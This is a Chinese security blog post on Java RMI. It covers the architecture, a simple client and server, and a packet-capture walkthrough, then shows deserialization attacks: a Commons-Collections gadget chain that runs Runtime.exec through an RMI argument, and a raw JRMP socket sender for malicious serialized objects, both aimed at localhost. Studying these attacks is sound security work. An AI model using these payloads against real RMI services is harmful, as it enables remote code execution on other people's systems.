@Author: Patrilic
@Time: 2020-3-17 16:41:55

0x00 前言

RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。
简而言之就是能够在另一个JVM中调用对象的方法。

0x01 RMI组成

RMI分成三个部分组成:

  • 客户端Client
  • 服务端Server
  • 注册中心Registry

(from javasec)
架构图:
f76f1d632cf4f6d09b1f45783932c320

简述一下RMI的调用流程:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称、Remote对象。
  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…?

0x02 RMI搭建

服务端

创建一个Java Project - RMIServiceExample
创建Package - com.patrilic.rmi
首先构造一个public接口RMIServiceAPI,需要继承Remote,同时throws RemoteException

1
2
3
4
5
6
7
package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIServiceAPI extends Remote {
public String hello(String a) throws RemoteException;
}

然后再构造一个Class实现

  • 需要继承UnicastRemoteObject类,同时实现RMIServiceAPI接口
  • 构造函数需要抛出RemoteException
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.patrilic.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIService extends UnicastRemoteObject implements RMIServiceAPI {
/**
*
*/
private static final long serialVersionUID = 1L;

protected RMIService() throws RemoteException {
super();
}

public String hello(String a) throws RemoteException {
System.out.println("call from" + a);
return "Hello world";
}
}

最后构造一个StartService.java,用于注册服务代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;


public class StartService {
public static void StartService() {
String host ="127.0.0.1";
String port ="1099";
try {
RMIServiceAPI service = new RMIService();
LocateRegistry.createRegistry(Integer.valueOf(port));
Naming.bind("rmi://" + host + ":" + port + "/RmiService", service);
System.out.println("[INFO]:Success to bind rmi object");
} catch (NumberFormatException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}


public static void main(String[] args) {
StartService();
}
}

8c1ada5bab64f273daad336c41307ec6

客户端

和Server端一样,先构造一个接口继承Remote
注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错
65111557c3c0a8a7cb0d3a6c57bcc051

1
2
3
4
5
6
7
package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIServiceAPI extends Remote {
public String hello(String a) throws RemoteException;
}

构造Client调用服务端的hello接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
public class RMIClient {

public static void linkHello(String a) throws RemoteException {
String host = "127.0.0.1";
String port = "1099";
try {
Remote remote = Naming.lookup("rmi://" + host + ":" + port
+ "/RmiService");
if (remote instanceof RMIServiceAPI) {
RMIServiceAPI rmiService = (RMIServiceAPI) remote;
String result = rmiService.hello(a);
System.out.println(result);
}
} catch (NotBoundException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}


public static void main(String[] args) {
try {
linkHello("Patrilic");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}

e7a7843a05c493670904bec48a52dd32

6b731c857e38846e526b2c60d7ec4de7

0x03 RMI通讯流程

在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包
b31c0000a77bc703a77d894cb5307fa2

第一部分

AC ED 00 05是常见的java反序列化16进制特征
Client连接Registry中心的1099端口, 建立通讯

Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口
dfc817077210f67c32b3fe540aedadad
d35b415893196e0d4db62aa7c39f3bbc

第二部分

通过注册中心提供的Server的ip和端口,进而Client和Server进行连接
cb81bc50a01de1ba631ea28bbf0a7154

第三部分

再进行一次JRMI,Client连接Registry中心的1099端口
3ffbe6a7d29b25c5da1cb85e015fb383
应该是在确认调用类需要的东西
8cdb8a02662cc9ff538f324e94783398

第四部分

44f1b0bf06d39339ba796717c14d9e78
f025b99348ba11c47a8201ce713e9020

返回调用结果

0x04 RMI反序列化漏洞

从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。

这里利用Common-Collections-3.1的反序列化

代码来自https://xz.aliyun.com/t/6660#toc-6
Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.patrilic.rmi;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void dowork(Object work) throws RemoteException;
}

public static class UserImpl extends UnicastRemoteObject implements User{

protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}

public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("the rmi is running ...");
}
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.patrilic.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
//import com.patrilic.rmi.Server;
import com.patrilic.rmi.Server.User;

public class Client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);

System.out.println(userClient.name("lala"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

fd8180230a402fa03b6d9123c9a54cd8

Github有个项目BaRMIe
4068e65bae9aa6e9ee8435025c76b6eb

0x05 JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.patrilic.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;


public class JRMI {

public static void main(String[] args) throws IOException {
if (args.length == 0) {
args = new String[]{"127.0.0.1", String.valueOf("9527"), "open -a Calculator.app"};
}
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Socket socket = null;
OutputStream out = null;
try {
Object payloadObject = RMIExploit.genPayload(command);
socket = new Socket("127.0.0.1", 9527);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);

// 获取Socket的输出流对象
out = socket.getOutputStream();

// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);

// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);

// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(1L);// 接口Hash值

// 写入恶意的序列化对象
baos.writeObject(payloadObject);

dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}

// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}

}

0x06 相关链接

https://javasec.org/javase/RMI/
https://xz.aliyun.com/t/7079
https://xz.aliyun.com/t/2223
https://xz.aliyun.com/t/6660#toc-0
https://blog.51cto.com/liyongyao/1205723